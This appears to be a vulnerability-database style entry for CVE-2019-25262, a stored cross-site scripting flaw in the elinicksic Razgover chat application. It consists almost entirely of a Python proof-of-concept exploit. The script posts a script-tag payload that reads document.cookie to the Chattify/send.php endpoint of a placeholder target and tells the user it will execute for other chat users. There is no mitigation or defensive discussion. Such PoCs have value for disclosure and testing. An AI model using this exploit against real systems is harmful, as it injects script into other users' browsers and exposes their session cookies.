CVE-2019-25262 elinicksic Razgover跨站脚本漏洞

import requests import urllib.parse # CVE-2019-25262 PoC - Stored XSS in elinicksic Razgover Chattify/send.php target_url = "http://target.com/Chattify/send.php" # Malicious XSS payload xss_payload = '<script>alert(document.cookie)</script>' # Prepare the request data data = { 'msg': xss_payload, # Additional required parameters may be needed # 'user_id': 'attacker_id', # 'chat_id': 'target_chat_id' } try: # Send the malicious request response = requests.post(target_url, data=data, timeout=10) print(f"[*] Payload sent to {target_url}") print(f"[*] Payload: {xss_payload}") print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] XSS payload stored successfully!") print("[+] When other users view the chat, the script will execute.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")